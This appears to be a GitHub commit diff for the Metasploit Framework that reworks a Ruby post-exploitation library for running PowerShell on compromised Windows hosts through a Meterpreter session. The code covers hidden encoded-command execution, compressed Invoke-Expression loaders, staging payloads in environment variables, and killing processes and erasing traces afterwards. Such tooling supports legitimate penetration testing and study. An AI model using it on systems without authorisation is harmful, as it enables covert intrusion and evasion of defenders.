Skip to content

Commit 1fa5107

Browse files
author
RageLtMan
committed
Powershell post libs and modules
This is the core post component broken out from rapid7#2075. Includes new post library leveraging the rex and msf namespace changes in lib. Includes basic modules for script and command execution. These modules can be used a simple base for complex powershell execution from post modules and RC scripts.
1 parent 7c46e95 commit 1fa5107

File tree

3 files changed

+338
-120
lines changed

3 files changed

+338
-120
lines changed

lib/msf/core/post/windows/powershell.rb

Lines changed: 171 additions & 120 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,24 @@
11
# -*- coding: binary -*-
2-
require 'zlib'
2+
require 'msf/core/exploit/powershell'
33
require 'msf/core/post/common'
44

55
module Msf
66
class Post
77
module Windows
88

99
module Powershell
10+
include ::Msf::Exploit::Powershell
1011
include ::Msf::Post::Common
1112

12-
13-
# List of running processes, open channels, and env variables...
14-
15-
16-
# Suffix for environment variables
13+
def initialize(info = {})
14+
super
15+
register_advanced_options(
16+
[
17+
OptInt.new('PSH::timeout', [true, 'Powershell execution timeout, set < 0 to run async without termination', 15]),
18+
OptBool.new('PSH::log_output', [true, 'Write output to log file', false]),
19+
OptBool.new('PSH::dry_run', [true, 'Write output to log file', false]),
20+
], self.class)
21+
end
1722

1823
#
1924
# Returns true if powershell is installed
@@ -25,108 +30,51 @@ def have_powershell?
2530
end
2631

2732
#
28-
# Insert substitutions into the powershell script
29-
#
30-
def make_subs(script, subs)
31-
subs.each do |set|
32-
script.gsub!(set[0],set[1])
33-
end
34-
if datastore['VERBOSE']
35-
print_good("Final Script: ")
36-
script.each_line {|l| print_status("\t#{l}")}
37-
end
38-
end
39-
40-
#
41-
# Return an array of substitutions for use in make_subs
42-
#
43-
def process_subs(subs)
44-
return [] if subs.nil? or subs.empty?
45-
new_subs = []
46-
subs.split(';').each do |set|
47-
new_subs << set.split(',', 2)
48-
end
49-
return new_subs
50-
end
51-
52-
#
53-
# Read in a powershell script stored in +script+
54-
#
55-
def read_script(script)
56-
script_in = ''
57-
begin
58-
# Open script file for reading
59-
fd = ::File.new(script, 'r')
60-
while (line = fd.gets)
61-
script_in << line
62-
end
63-
64-
# Close open file
65-
fd.close()
66-
rescue Errno::ENAMETOOLONG, Errno::ENOENT
67-
# Treat script as a... script
68-
script_in = script
69-
end
70-
return script_in
71-
end
72-
73-
74-
#
75-
# Return a zlib compressed powershell script
33+
# Get/compare list of current PS processes - nested execution can spawn many children
34+
# doing checks before and after execution allows us to kill more children...
35+
# This is a hack, better solutions are welcome since this could kill user
36+
# spawned powershell windows created between comparisons.
7637
#
77-
def compress_script(script_in, eof = nil)
78-
79-
# Compress using the Deflate algorithm
80-
compressed_stream = ::Zlib::Deflate.deflate(script_in,
81-
::Zlib::BEST_COMPRESSION)
82-
83-
# Base64 encode the compressed file contents
84-
encoded_stream = Rex::Text.encode_base64(compressed_stream)
85-
86-
# Build the powershell expression
87-
# Decode base64 encoded command and create a stream object
88-
psh_expression = "$stream = New-Object IO.MemoryStream(,"
89-
psh_expression += "$([Convert]::FromBase64String('#{encoded_stream}')));"
90-
# Read & delete the first two bytes due to incompatibility with MS
91-
psh_expression += "$stream.ReadByte()|Out-Null;"
92-
psh_expression += "$stream.ReadByte()|Out-Null;"
93-
# Uncompress and invoke the expression (execute)
94-
psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader("
95-
psh_expression += "$(New-Object IO.Compression.DeflateStream("
96-
psh_expression += "$stream,"
97-
psh_expression += "[IO.Compression.CompressionMode]::Decompress)),"
98-
psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());"
99-
100-
# If eof is set, add a marker to signify end of script output
101-
if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
102-
103-
# Convert expression to unicode
104-
unicode_expression = Rex::Text.to_unicode(psh_expression)
105-
106-
# Base64 encode the unicode expression
107-
encoded_expression = Rex::Text.encode_base64(unicode_expression)
108-
109-
return encoded_expression
38+
def get_ps_pids(pids = [])
39+
current_pids = session.sys.process.get_processes.keep_if {|p|
40+
p['name'].downcase == 'powershell.exe'
41+
}.map {|p| p['pid']}
42+
# Subtract previously known pids
43+
current_pids = (current_pids - pids).uniq
44+
return current_pids
11045
end
11146

11247
#
113-
# Execute a powershell script and return the results. The script is never written
114-
# to disk.
48+
# Execute a powershell script and return the output, channels, and pids. The script
49+
# is never written to disk.
11550
#
116-
def execute_script(script, time_out = 15)
117-
running_pids, open_channels = [], []
51+
def execute_script(script, greedy_kill = false)
52+
@session_pids ||= []
53+
running_pids = greedy_kill ? get_ps_pids : []
54+
open_channels = []
11855
# Execute using -EncodedCommand
119-
session.response_timeout = time_out
120-
cmd_out = session.sys.process.execute("powershell -EncodedCommand " +
121-
"#{script}", nil, {'Hidden' => true, 'Channelized' => true})
56+
session.response_timeout = datastore['PSH::timeout'].to_i
57+
ps_bin = datastore['RUN_WOW64'] ? '%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
58+
ps_string = "#{ps_bin} -EncodedCommand #{script} -InputFormat None"
59+
# vprint_good("EXECUTING:\n#{ps_string}")
60+
cmd_out = session.sys.process.execute(ps_string, nil, {'Hidden' => true, 'Channelized' => true})
61+
62+
# Subtract prior PIDs from current
63+
if greedy_kill
64+
Rex::ThreadSafe.sleep(3) # Let PS start child procs
65+
running_pids = get_ps_pids(running_pids)
66+
end
12267

12368
# Add to list of running processes
12469
running_pids << cmd_out.pid
12570

71+
# All pids start here, so store them in a class variable
72+
(@session_pids += running_pids).uniq!
73+
12674
# Add to list of open channels
12775
open_channels << cmd_out
12876

129-
return [cmd_out, running_pids, open_channels]
77+
return [cmd_out, running_pids.uniq, open_channels]
13078
end
13179

13280

@@ -163,8 +111,7 @@ def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
163111

164112
# Stage the payload
165113
print_good(" - Bytes remaining: #{compressed_script.size - index}")
166-
execute_script(encoded_stager)
167-
114+
cmd_out, running_pids, open_channels = execute_script(encoded_stager, false)
168115
# Increment index
169116
index += count
170117

@@ -184,58 +131,162 @@ def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
184131
end
185132

186133
#
187-
# Log the results of the powershell script
134+
# Reads output of the command channel and empties the buffer.
135+
# Will optionally log command output to disk.
188136
#
189-
def write_to_log(cmd_out, log_file, eof)
190-
# Open log file for writing
191-
fd = ::File.new(log_file, 'w+')
137+
def get_ps_output(cmd_out, eof, read_wait = 5)
138+
results = ''
139+
140+
if datastore['PSH::log_output']
141+
# Get target's computer name
142+
computer_name = session.sys.config.sysinfo['Computer']
143+
144+
# Create unique log directory
145+
log_dir = ::File.join(Msf::Config.log_directory,'scripts','powershell', computer_name)
146+
::FileUtils.mkdir_p(log_dir)
147+
148+
# Define log filename
149+
time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S')
150+
log_file = ::File.join(log_dir,"#{time_stamp}.txt")
192151

193-
# Read output until eof and write to log
194-
while (line = cmd_out.channel.read())
152+
153+
# Open log file for writing
154+
fd = ::File.new(log_file, 'w+')
155+
end
156+
157+
# Read output until eof or nil return output and write to log
158+
while (1)
159+
line = ::Timeout.timeout(read_wait) {
160+
cmd_out.channel.read
161+
} rescue nil
162+
break if line.nil?
195163
if (line.sub!(/#{eof}/, ''))
196-
fd.write(line)
197-
vprint_good("\t#{line}")
198-
cmd_out.channel.close()
164+
results << line
165+
fd.write(line) if fd
166+
#vprint_good("\t#{line}")
199167
break
200168
end
201-
fd.write(line)
202-
vprint_good("\t#{line}")
169+
results << line
170+
fd.write(line) if fd
171+
#vprint_status("\n#{line}")
203172
end
204173

205174
# Close log file
206-
fd.close()
207-
208-
return
175+
# cmd_out.channel.close()
176+
fd.close() if fd
177+
178+
return results
179+
180+
#
181+
# Incremental read method - NOT USED
182+
#
183+
# read_data = ''
184+
# segment = 2**16
185+
# # Read incrementally smaller blocks after each failure/timeout
186+
# while segment > 0 do
187+
# begin
188+
# read_data << ::Timeout.timeout(read_wait) {
189+
# cmd_out.channel.read(segment)
190+
# }
191+
# rescue
192+
# segment = segment/2
193+
# end
194+
# end
209195
end
210196

211197
#
212198
# Clean up powershell script including process and chunks stored in environment variables
213199
#
214-
def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8), delete = false)
200+
def clean_up(
201+
script_file = nil,
202+
eof = '',
203+
running_pids =[],
204+
open_channels = [],
205+
env_suffix = Rex::Text.rand_text_alpha(8),
206+
delete = false
207+
)
215208
# Remove environment variables
216209
env_del_command = "[Environment]::GetEnvironmentVariables('User').keys|"
217210
env_del_command += "Select-String #{env_suffix}|%{"
218211
env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
219-
script = compress_script(env_del_command, eof)
220-
cmd_out, running_pids, open_channels = *execute_script(script)
221-
write_to_log(cmd_out, "/dev/null", eof)
222212

223-
# Kill running processes
224-
running_pids.each() do |pid|
225-
session.sys.process.kill(pid)
213+
script = compress_script(env_del_command, eof)
214+
cmd_out, new_running_pids, new_open_channels = execute_script(script)
215+
get_ps_output(cmd_out, eof)
216+
217+
# Kill running processes, should mutex this...
218+
@session_pids = (@session_pids + running_pids + new_running_pids).uniq
219+
(running_pids + new_running_pids).uniq.each do |pid|
220+
begin
221+
if session.sys.process.processes.map {|x|x['pid']}.include?(pid)
222+
session.sys.process.kill(pid)
223+
end
224+
@session_pids.delete(pid)
225+
rescue Rex::Post::Meterpreter::RequestError => e
226+
print_error "Failed to kill #{pid} due to #{e}"
227+
end
226228
end
227229

228230

229231
# Close open channels
230-
open_channels.each() do |chan|
231-
chan.channel.close()
232+
(open_channels + new_open_channels).uniq.each do |chan|
233+
chan.channel.close
232234
end
233235

234236
::File.delete(script_file) if (script_file and delete)
235237

236238
return
237239
end
238240

241+
#
242+
# Simple script execution wrapper, performs all steps
243+
# required to execute a string of powershell.
244+
# This method will try to kill all powershell.exe PIDs
245+
# which appeared during its execution, set greedy_kill
246+
# to false if this is not desired.
247+
#
248+
def psh_exec(script, greedy_kill=true, ps_cleanup=true)
249+
# Define vars
250+
eof = Rex::Text.rand_text_alpha(8)
251+
# eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}"
252+
env_suffix = Rex::Text.rand_text_alpha(8)
253+
script = PshScript.new(script) unless script.respond_to?(:compress_code)
254+
# Check format
255+
if script =~ /\s|\.|\;/
256+
script = compress_script(script, eof)
257+
end
258+
if datastore['PSH::dry_run']
259+
return "powershell -EncodedCommand #{script}"
260+
else
261+
# Check 8k cmd buffer limit, stage if needed
262+
if (script.size > 8100)
263+
vprint_error("Compressed size: #{script.size}")
264+
error_msg = "Compressed size may cause command to exceed "
265+
error_msg += "cmd.exe's 8kB character limit."
266+
vprint_error(error_msg)
267+
vprint_good('Launching stager:')
268+
script = stage_to_env(script, env_suffix)
269+
print_good("Payload successfully staged.")
270+
else
271+
print_good("Compressed size: #{script.size}")
272+
end
273+
# Execute the script, get the output, and kill the resulting PIDs
274+
cmd_out, running_pids, open_channels = execute_script(script, greedy_kill)
275+
if datastore['PSH::timeout'].to_i < 0
276+
out = 'Started async execution, output collection and cleanup will not be performed'
277+
print_error out
278+
return out
279+
end
280+
ps_output = get_ps_output(cmd_out,eof,datastore['PSH::timeout'])
281+
# Kill off the resulting processes if needed
282+
if ps_cleanup
283+
vprint_good( "Cleaning up #{running_pids.join(', ')}" )
284+
clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
285+
end
286+
return ps_output
287+
end
288+
end
289+
239290
end
240291
end
241292
end

0 commit comments

Comments
 (0)